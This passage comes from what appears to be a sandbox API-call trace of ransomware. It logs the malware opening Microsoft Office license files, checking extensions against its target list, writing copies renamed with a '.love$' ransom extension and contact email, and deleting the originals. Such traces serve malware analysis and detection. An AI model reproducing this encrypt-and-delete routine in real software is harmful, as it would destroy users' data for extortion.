(lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0256.985] lstrlenW (lpString=".dbf") returned 4 [0256.985] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0256.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0256.985] lstrlenW (lpString=".1cd") returned 4 [0256.985] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0256.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0256.985] lstrlenW (lpString=".jpg") returned 4 [0256.985] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0256.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0256.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0256.985] lstrlenW (lpString=".doc") returned 4 [0256.985] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0256.986] lstrlenW (lpString=".docx") returned 5 [0256.986] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0256.986] lstrlenW (lpString=".pdf") returned 4 [0256.986] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0256.986] lstrlenW (lpString=".xls") returned 4 [0256.986] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0256.986] lstrlenW (lpString=".xlsx") returned 5 [0256.986] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0256.986] lstrlenW (lpString=".ppt") returned 4 [0256.986] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0256.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0256.986] lstrlenW (lpString=".zip") returned 4 [0256.986] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0256.986] lstrlenW (lpString=".rar") returned 4 [0256.986] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0256.986] lstrlenW (lpString=".bz2") returned 4 [0256.986] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0256.986] lstrlenW (lpString=".7z") returned 3 [0256.986] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0256.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0256.986] lstrlenW (lpString=".dbf") returned 4 [0256.986] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0256.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0256.986] lstrlenW (lpString=".1cd") returned 4 [0256.986] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0256.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0256.986] lstrlenW (lpString=".jpg") returned 4 [0256.986] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0256.987] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0256.987] lstrlenW (lpString="AccessVL_MAK-ppd.xrm-ms") returned 23 [0256.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0256.988] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=6729) returned 1 [0256.989] CloseHandle (hObject=0x3b4) returned 1 [0256.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms")) returned 0x220 [0256.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0256.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0256.989] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.989] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0256.991] GetLastError () returned 0x0 [0256.991] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x1a49, lpOverlapped=0x0) returned 1 [0257.786] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x1a50, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x1a50, lpOverlapped=0x0) returned 1 [0257.788] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0257.788] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x102, lpOverlapped=0x0) returned 1 [0257.788] SetEndOfFile (hFile=0x3c4) returned 1 [0257.789] CloseHandle (hObject=0x3c4) returned 1 [0257.789] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.789] SetEndOfFile (hFile=0x3b4) returned 1 [0257.792] CloseHandle (hObject=0x3b4) returned 1 [0257.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0257.793] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms")) returned 1 [0257.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0257.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0257.794] lstrlenW (lpString=".doc") returned 4 [0257.794] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0257.794] lstrlenW (lpString=".docx") returned 5 [0257.795] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0257.795] lstrlenW (lpString=".pdf") returned 4 [0257.795] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0257.795] lstrlenW (lpString=".xls") returned 4 [0257.795] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0257.795] lstrlenW (lpString=".xlsx") returned 5 [0257.795] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0257.795] lstrlenW (lpString=".ppt") returned 4 [0257.795] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0257.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0257.795] lstrlenW (lpString=".zip") returned 4 [0257.795] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0257.795] lstrlenW (lpString=".rar") returned 4 [0257.795] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0257.795] lstrlenW (lpString=".bz2") returned 4 [0257.795] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0257.795] lstrlenW (lpString=".7z") returned 3 [0257.795] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0257.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0257.795] lstrlenW (lpString=".dbf") returned 4 [0257.795] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0257.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0257.795] lstrlenW (lpString=".1cd") returned 4 [0257.795] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0257.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0257.795] lstrlenW (lpString=".jpg") returned 4 [0257.795] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0257.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0257.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0257.795] lstrlenW (lpString=".doc") returned 4 [0257.795] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0257.796] lstrlenW (lpString=".docx") returned 5 [0257.796] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0257.796] lstrlenW (lpString=".pdf") returned 4 [0257.796] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0257.796] lstrlenW (lpString=".xls") returned 4 [0257.796] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0257.796] lstrlenW (lpString=".xlsx") returned 5 [0257.796] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0257.796] lstrlenW (lpString=".ppt") returned 4 [0257.796] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0257.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0257.796] lstrlenW (lpString=".zip") returned 4 [0257.796] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0257.796] lstrlenW (lpString=".rar") returned 4 [0257.796] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0257.796] lstrlenW (lpString=".bz2") returned 4 [0257.796] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0257.797] lstrlenW (lpString=".7z") returned 3 [0257.797] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0257.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0257.797] lstrlenW (lpString=".dbf") returned 4 [0257.797] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0257.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0257.797] lstrlenW (lpString=".1cd") returned 4 [0257.797] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0257.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0257.797] lstrlenW (lpString=".jpg") returned 4 [0257.797] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0257.797] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0257.798] lstrlenW (lpString="ExcelR_Grace-ppd.xrm-ms") returned 23 [0257.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0258.171] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=20841) returned 1 [0258.171] CloseHandle (hObject=0x4e4) returned 1 [0258.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms")) returned 0x220 [0258.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0258.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0258.172] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.173] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0258.174] GetLastError () returned 0x0 [0258.174] ReadFile (in: hFile=0x4e4, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x5169, lpOverlapped=0x0) returned 1 [0258.192] WriteFile (in: hFile=0x488, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x5170, lpOverlapped=0x0) returned 1 [0258.194] ReadFile (in: hFile=0x4e4, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0258.194] WriteFile (in: hFile=0x488, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x102, lpOverlapped=0x0) returned 1 [0258.194] SetEndOfFile (hFile=0x488) returned 1 [0258.194] CloseHandle (hObject=0x488) returned 1 [0258.195] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.195] SetEndOfFile (hFile=0x4e4) returned 1 [0258.203] CloseHandle (hObject=0x4e4) returned 1 [0258.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0258.205] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms")) returned 1 [0258.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0258.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0258.206] lstrlenW (lpString=".doc") returned 4 [0258.206] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0258.206] lstrlenW (lpString=".docx") returned 5 [0258.206] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0258.206] lstrlenW (lpString=".pdf") returned 4 [0258.206] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0258.206] lstrlenW (lpString=".xls") returned 4 [0258.206] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0258.206] lstrlenW (lpString=".xlsx") returned 5 [0258.206] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0258.206] lstrlenW (lpString=".ppt") returned 4 [0258.207] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0258.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0258.207] lstrlenW (lpString=".zip") returned 4 [0258.207] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0258.207] lstrlenW (lpString=".rar") returned 4 [0258.207] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0258.207] lstrlenW (lpString=".bz2") returned 4 [0258.207] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0258.207] lstrlenW (lpString=".7z") returned 3 [0258.207] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0258.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0258.207] lstrlenW (lpString=".dbf") returned 4 [0258.207] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0258.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0258.207] lstrlenW (lpString=".1cd") returned 4 [0258.207] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0258.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0258.207] lstrlenW (lpString=".jpg") returned 4 [0258.207] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0258.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0258.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0258.207] lstrlenW (lpString=".doc") returned 4 [0258.207] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0258.207] lstrlenW (lpString=".docx") returned 5 [0258.207] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0258.207] lstrlenW (lpString=".pdf") returned 4 [0258.208] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0258.208] lstrlenW (lpString=".xls") returned 4 [0258.208] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0258.208] lstrlenW (lpString=".xlsx") returned 5 [0258.208] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0258.208] lstrlenW (lpString=".ppt") returned 4 [0258.208] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0258.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0258.208] lstrlenW (lpString=".zip") returned 4 [0258.208] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0258.208] lstrlenW (lpString=".rar") returned 4 [0258.208] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0258.208] lstrlenW (lpString=".bz2") returned 4 [0258.208] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0258.208] lstrlenW (lpString=".7z") returned 3 [0258.208] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0258.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0258.208] lstrlenW (lpString=".dbf") returned 4 [0258.208] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0258.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0258.223] lstrlenW (lpString=".1cd") returned 4 [0258.223] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0258.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0258.223] lstrlenW (lpString=".jpg") returned 4 [0258.223] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0258.223] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0258.223] lstrlenW (lpString="ExcelR_OEM_Perp-ppd.xrm-ms") returned 26 [0258.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0258.230] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=20846) returned 1 [0258.230] CloseHandle (hObject=0x4e4) returned 1 [0258.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms")) returned 0x220 [0258.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0258.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0258.231] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.232] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0258.233] GetLastError () returned 0x0 [0258.233] ReadFile (in: hFile=0x4e4, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x516e, lpOverlapped=0x0) returned 1 [0258.287] WriteFile (in: hFile=0x3f4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x5170, lpOverlapped=0x0) returned 1 [0258.288] ReadFile (in: hFile=0x4e4, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0258.289] WriteFile (in: hFile=0x3f4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x108, lpOverlapped=0x0) returned 1 [0258.289] SetEndOfFile (hFile=0x3f4) returned 1 [0258.289] CloseHandle (hObject=0x3f4) returned 1 [0258.289] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.289] SetEndOfFile (hFile=0x4e4) returned 1 [0258.294] CloseHandle (hObject=0x4e4) returned 1 [0258.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0258.295] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms")) returned 1 [0258.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0258.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0258.296] lstrlenW (lpString=".doc") returned 4 [0258.296] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0258.296] lstrlenW (lpString=".docx") returned 5 [0258.296] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0258.296] lstrlenW (lpString=".pdf") returned 4 [0258.296] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0258.296] lstrlenW (lpString=".xls") returned 4 [0258.297] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0258.297] lstrlenW (lpString=".xlsx") returned 5 [0258.297] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0258.297] lstrlenW (lpString=".ppt") returned 4 [0258.297] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0258.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0258.297] lstrlenW (lpString=".zip") returned 4 [0258.297] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0258.297] lstrlenW (lpString=".rar") returned 4 [0258.297] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0258.297] lstrlenW (lpString=".bz2") returned 4 [0258.297] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0258.297] lstrlenW (lpString=".7z") returned 3 [0258.297] 